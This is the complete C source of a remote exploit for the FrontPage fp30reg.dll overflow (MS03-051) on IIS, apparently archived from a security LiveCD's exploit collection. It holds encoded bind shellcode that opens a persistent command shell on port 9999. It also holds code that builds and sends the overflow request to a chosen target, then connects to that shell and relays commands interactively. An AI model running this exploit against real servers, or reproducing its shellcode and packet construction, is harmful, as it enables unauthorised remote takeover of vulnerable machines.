home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / fp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  9KB  |  239 lines

  1. /*******************************************************************************
  2.  
  3. Frontpage fp30reg.dll Overflow (MS03-051) discovered by Brett Moore
  4.  
  5. Exploit by Adik netmaniac hotmail kg
  6.  
  7. Binds persistent command shell on port 9999
  8. Tested on             
  9.         Windows 2000 Professional SP3 English version 
  10.         (fp30reg.dll ver 4.0.2.5526)            
  11.  
  12. -[ 13/Nov/2003 ]-
  13. ********************************************************************************/
  14.  
  15.  
  16. #include <stdio.h>
  17. #include <string.h>
  18. #include <winsock.h>
  19. #pragma comment(lib,"ws2_32")
  20.  
  21. #define VER        "0.1"    
  22.  
  23. /******** bind shellcode spawns persistent shell on port 9999 *****************************/
  24. unsigned char kyrgyz_bind_code[] = {
  25.     0xEB, 0x03, 0x5D, 0xEB, 0x05, 0xE8, 0xF8, 0xFF, 0xFF, 0xFF, 0x8B, 0xC5, 0x83, 0xC0, 0x11, 0x33,
  26.     0xC9, 0x66, 0xB9, 0xC9, 0x01, 0x80, 0x30, 0x88, 0x40, 0xE2, 0xFA,
  27.     0xDD, 0x03, 0x64, 0x03, 0x7C, 0x09, 0x64, 0x08, 0x88, 0x88, 0x88, 0x60, 0xC4, 0x89, 0x88, 0x88, 
  28.     0x01, 0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xD9, 0x89, 0x88, 0x88, 
  29.     0x01, 0xCE, 0x4E, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE, 
  30.     0x4E, 0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0xB8, 0x89, 0x88, 
  31.     0x88, 0x01, 0xCE, 0x5A, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0xA8, 0x89, 0x88, 
  32.     0x88, 0x01, 0xCE, 0x46, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x98, 0x89, 0x88, 
  33.     0x88, 0x01, 0xCE, 0x42, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x88, 0x89, 0x88, 
  34.     0x88, 0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x78, 0x88, 0x88, 
  35.     0x88, 0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x92, 0xF8, 0x4F, 0x60, 0x68, 0x88, 0x88, 
  36.     0x88, 0x01, 0xCE, 0x64, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x25, 0xA6, 0x61, 0x60, 0x58, 0x88, 0x88, 
  37.     0x88, 0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6D, 0xC1, 0x0E, 0xC1, 0x60, 0x48, 0x88, 0x88, 
  38.     0x88, 0x01, 0xCE, 0x6A, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x38, 0x88, 0x88, 
  39.     0x88, 0x01, 0xCE, 0x5E, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89, 
  40.     0x88, 0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78, 
  41.     0x03, 0x50, 0xDF, 0xDF, 0xE0, 0x8A, 0x88, 0xAF, 0x87, 0x03, 0x44, 0xE2, 0x9E, 0xD9, 0xDB, 0x77, 
  42.     0xDE, 0x64, 0xDF, 0xDB, 0x77, 0xDE, 0x60, 0xBB, 0x77, 0xDF, 0xD9, 0xDB, 0x77, 0xDE, 0x6A, 0x03, 
  43.     0x58, 0x01, 0xCE, 0x36, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x4A, 0x0B, 0x4C, 0x24, 0x05, 
  44.     0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75, 0x4E, 0xCC, 0xAC, 0x98, 
  45.     0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x01, 0xDC, 0xAC, 0xC0, 0x01, 0xDC, 0xAC, 0xC4, 0x01, 0xDC, 0xAC, 
  46.     0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9, 0xD9, 0xD9, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77, 
  47.     0xFE, 0x4A, 0xD9, 0x77, 0xDE, 0x46, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x5A, 0x03, 
  48.     0x40, 0x77, 0xFE, 0x36, 0x77, 0xDE, 0x5E, 0x63, 0x16, 0x77, 0xDE, 0x9C, 0xDE, 0xEC, 0x29, 0xB8, 
  49.     0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03, 0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C, 
  50.     0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4, 0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0, 
  51.     0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2, 0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03, 
  52.     0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48, 0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B, 
  53.     0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C, 0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03, 
  54.     0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55, 0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48, 
  55.     0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A, 0x8C, 0x88
  56. };
  57.  
  58. void cmdshell (int sock);
  59. long gimmeip(char *hostname);
  60.  
  61. int main(int argc,char *argv[])
  62. {     
  63.         WSADATA wsaData;
  64.         struct sockaddr_in targetTCP;
  65.         struct hostent *host;
  66.         int sockTCP,s;
  67.         unsigned short port = 80;
  68.         long ip;
  69.         unsigned char header[]=    "POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1\r\n";
  70.                                 unsigned char packet[3000],data[1500];                        
  71.         unsigned char ecx[] = "\xe0\xf3\xd4\x67";
  72.         unsigned char edi[] = "\xff\xd0\x90\x90";        
  73.         unsigned char call[] = "\xe4\xf3\xd4\x67";//overwrite .data section of fp30reg.dll
  74.         unsigned char shortjmp[] = "\xeb\x10";
  75.         
  76.         printf("\n-={ Frontpage fp30reg.dll Overflow Exploit (MS03-051) ver %s }=-\n\n"
  77.         " by Adik < netmaniac [at] hotmail.KG >\n\n", VER);
  78.         if(argc < 2)
  79.         {
  80.             
  81.             printf(" Usage: %s [Target] <port>\n"
  82.                     " eg: fp30reg.exe 192.168.63.130\n\n",argv[0]);
  83.             return 1;            
  84.         }        
  85.         if(argc==3)
  86.             port = atoi(argv[2]);                    
  87.         WSAStartup(0x0202, &wsaData);                
  88.         printf("[*] Target:\t%s \tPort: %d\n\n",argv[1],port);
  89.         ip=gimmeip(argv[1]);    
  90.         memset(&targetTCP, 0, sizeof(targetTCP));
  91.         memset(packet,0,sizeof(packet));
  92.         targetTCP.sin_family = AF_INET;
  93.         targetTCP.sin_addr.s_addr = ip;
  94.         targetTCP.sin_port = htons(port);                
  95.     sprintf(packet,"%sHost: %s\r\nTransfer-Encoding: chunked\r\n",header,argv[1]);        
  96.     memset(data, 0x90, sizeof(data)-1);
  97.     data[sizeof(data)-1] = '\x0';
  98.     memcpy(&data[16],edi,sizeof(edi)-1);
  99.     memcpy(&data[20],ecx,sizeof(ecx)-1);        
  100.     memcpy(&data[250+10],shortjmp,sizeof(shortjmp)-1);
  101.     memcpy(&data[250+14],call,sizeof(call)-1);        
  102.     memcpy(&data[250+70],kyrgyz_bind_code,sizeof(kyrgyz_bind_code));
  103.     sprintf(packet,"%sContent-Length: %d\r\n\r\n%x\r\n%s\r\n0\r\n\r\n",packet,strlen(data),strlen(data),data);
  104.         if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  105.         {
  106.                 printf("[x] Socket not initialized! Exiting...\n");
  107.                 WSACleanup();
  108.                 return 1;
  109.         }
  110.         printf("[*] Socket initialized...\n");                    
  111.         if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
  112.         {
  113.             printf("[*] Connection to host failed! Exiting...\n");
  114.             WSACleanup();
  115.             exit(1);
  116.         }         
  117.         printf("[*] Checking for presence of fp30reg.dll...");
  118.         if (send(sockTCP, packet, strlen(packet),0) == -1)
  119.         {
  120.                 printf("[x] Failed to inject packet! Exiting...\n");
  121.                 WSACleanup();
  122.                 return 1;
  123.         }        
  124.         memset(packet,0,sizeof(packet));    
  125.         if (recv(sockTCP, packet, sizeof(packet),0) == -1)        
  126.         {
  127.                 printf("[x] Failed to receive packet! Exiting...\n");
  128.                 WSACleanup();
  129.                 return 1;
  130.         }                
  131.         if(packet[9]=='1' && packet[10]=='0' && packet[11]=='0')
  132.             printf(" Found!\n");
  133.         else
  134.         {
  135.             printf(" Not Found!! Exiting...\n");
  136.             WSACleanup();
  137.             return 1;
  138.         }
  139.         printf("[*] Packet injected!\n");
  140.         closesocket(sockTCP);
  141.         printf("[*] Sleeping ");
  142.         for(s=0;s<13000;s+=1000)
  143.         {
  144.             printf(". ");
  145.             Sleep(1000);
  146.         }        
  147.         printf("\n[*] Connecting to host: %s on port 9999",argv[1]);
  148.         if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  149.         {
  150.                 printf("\n[x] Socket not initialized! Exiting...\n");
  151.                 WSACleanup();
  152.                 return 1;
  153.         }        
  154.         targetTCP.sin_family = AF_INET;
  155.         targetTCP.sin_addr.s_addr = ip;
  156.         targetTCP.sin_port = htons(9999);
  157.         if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
  158.         {
  159.             printf("\n[x] Exploit failed or there is a Firewall! Exiting...\n");
  160.             WSACleanup();
  161.             exit(1);
  162.         } 
  163.         printf("\n[*] Dropping to shell...\n\n");
  164.         cmdshell(sockTCP);
  165.         return 0;
  166. }
  167. /*********************************************************************************/
  168. void cmdshell (int sock)
  169. {
  170.  struct timeval tv;
  171.  int length;
  172.  unsigned long o[2];
  173.  char buffer[1000];
  174.  
  175.  tv.tv_sec = 1;
  176.  tv.tv_usec = 0;
  177.  
  178.  while (1) 
  179.  {
  180.     o[0] = 1;
  181.     o[1] = sock;    
  182.  
  183.     length = select (0, (fd_set *)&o, NULL, NULL, &tv);
  184.     if(length == 1)
  185.     {
  186.         length = recv (sock, buffer, sizeof (buffer), 0);
  187.         if (length <= 0) 
  188.         {
  189.             printf ("[x] Connection closed.\n");
  190.             WSACleanup();
  191.             return;
  192.         }
  193.         length = write (1, buffer, length);
  194.         if (length <= 0) 
  195.         {
  196.             printf ("[x] Connection closed.\n");
  197.             WSACleanup();
  198.             return;
  199.         }
  200.     }
  201.     else
  202.     {
  203.         length = read (0, buffer, sizeof (buffer));
  204.         if (length <= 0) 
  205.         {
  206.             printf("[x] Connection closed.\n");
  207.             WSACleanup();
  208.             return;
  209.         }
  210.         length = send(sock, buffer, length, 0);
  211.         if (length <= 0) 
  212.         {
  213.             printf("[x] Connection closed.\n");
  214.             WSACleanup();
  215.             return;
  216.         }
  217.     }
  218. }
  219.  
  220. }
  221. /*********************************************************************************/
  222. long gimmeip(char *hostname) 
  223. {
  224.     struct hostent *he;
  225.     long ipaddr;
  226.     
  227.     if ((ipaddr = inet_addr(hostname)) < 0) 
  228.     {
  229.         if ((he = gethostbyname(hostname)) == NULL) 
  230.         {
  231.             printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
  232.             WSACleanup();
  233.             exit(1);
  234.         }
  235.         memcpy(&ipaddr, he->h_addr, he->h_length);
  236.     }    
  237.     return ipaddr;
  238. }
  239. /*********************************************************************************/